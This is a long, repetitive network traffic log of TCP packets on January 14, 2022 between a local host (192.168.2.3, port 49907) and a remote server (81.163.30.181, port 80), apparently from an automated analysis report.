Jan 14, 2022 20:24:10.529829979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.529874086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.529901028 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.529942989 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.529982090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.529987097 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530019999 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530057907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530062914 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530097008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530134916 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530141115 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530174971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530210972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530215025 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530249119 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530287981 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530289888 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530323982 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530363083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530366898 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530400991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530440092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530443907 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530478001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530514956 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530523062 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530554056 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530592918 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530596018 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530631065 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530668974 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530670881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530706882 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530745983 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530746937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530786037 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530822039 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530827999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.530860901 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.530905008 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.578228951 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588171959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588270903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588280916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588356972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588424921 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588455915 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588551998 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588624954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588649988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588730097 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588807106 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588808060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588862896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588902950 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588907003 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588953972 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.588995934 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.588998079 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589036942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589097977 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589097977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589142084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589185953 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589186907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589230061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589274883 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589274883 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589313984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589354038 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589363098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589401007 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589437962 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589451075 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589490891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589529991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589535952 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589580059 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589617968 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589622021 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589668036 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589706898 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589709044 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589751959 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589797020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589799881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589834929 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589875937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.589915991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589956045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589993954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.589997053 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590043068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590082884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590085983 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590125084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590171099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590183973 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590209961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590251923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590255022 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590296030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590336084 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590372086 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590383053 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590421915 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590425014 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590465069 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590513945 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590522051 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590553045 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590591908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590600014 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590640068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590679884 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590679884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590718985 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590764999 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590766907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590806961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590846062 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590853930 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590897083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590933084 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.590935946 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.590985060 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.591026068 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.591605902 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649265051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649302006 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649324894 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649349928 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649362087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649374008 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649389982 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649399042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649425030 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649437904 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649449110 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649475098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649494886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649502993 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649527073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649549961 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649552107 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649576902 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649595976 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649600029 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649624109 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649648905 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649648905 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649672031 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649687052 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649698019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649720907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649736881 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649744987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649770975 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649781942 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649795055 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649818897 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649840117 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649843931 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649878979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649888039 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649904966 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649929047 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649951935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649952888 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.649976015 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.649995089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650000095 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650023937 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650046110 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650048971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650073051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650093079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650095940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650120020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650134087 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650142908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650166988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650180101 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650188923 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650213957 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650224924 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650237083 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650260925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650278091 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650284052 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650309086 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650321007 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650331020 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650356054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650371075 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650378942 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650403023 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650423050 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650425911 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650449991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650466919 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650474072 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650497913 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650515079 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650522947 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650546074 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650564909 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650568962 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650593042 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650615931 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650616884 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650640011 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650664091 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650671005 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.650686979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.650713921 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.652339935 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707482100 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707518101 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707541943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707561970 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707566977 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707591057 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707596064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707622051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707634926 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707647085 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707670927 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707686901 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707694054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707717896 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707732916 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707740068 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707765102 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707775116 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707787991 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707814932 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707824945 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707839012 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707863092 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707874060 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707886934 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707922935 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707926989 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707947969 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707971096 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.707983017 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.707993984 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708018064 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708026886 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708040953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708065033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708076000 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708089113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708112001 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708122969 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708134890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708158970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708169937 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708183050 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708205938 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708223104 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708230019 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708252907 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708265066 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708276987 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708301067 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708312035 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708323002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708345890 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708360910 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708369970 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708394051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708403111 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708417892 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708442926 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708462954 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708465099 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708487034 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708498955 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708511114 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708534002 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708544016 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708555937 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708580017 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708590031 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708605051 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708627939 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708646059 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708651066 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708674908 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708694935 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708697081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708720922 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708733082 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708744049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708767891 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708781004 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708791971 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708815098 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708832979 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708838940 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708861113 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708872080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.708884954 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708916903 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.708925009 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.710876942 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.765687943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765744925 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765762091 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.765784979 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765837908 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.765840054 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765907049 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765949965 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.765954018 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.765990973 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766030073 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766041040 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766071081 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766109943 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766112089 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766148090 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766186953 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766187906 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766227961 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766266108 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766267061 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766307116 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766344070 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766355991 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766382933 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766421080 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766422033 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766458988 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766498089 CET	80	49907	81.163.30.181	192.168.2.3
Jan 14, 2022 20:24:10.766503096 CET	49907	80	192.168.2.3	81.163.30.181
Jan 14, 2022 20:24:10.766537905 CET	80	49907	81.163.30.181	192.168.2.3
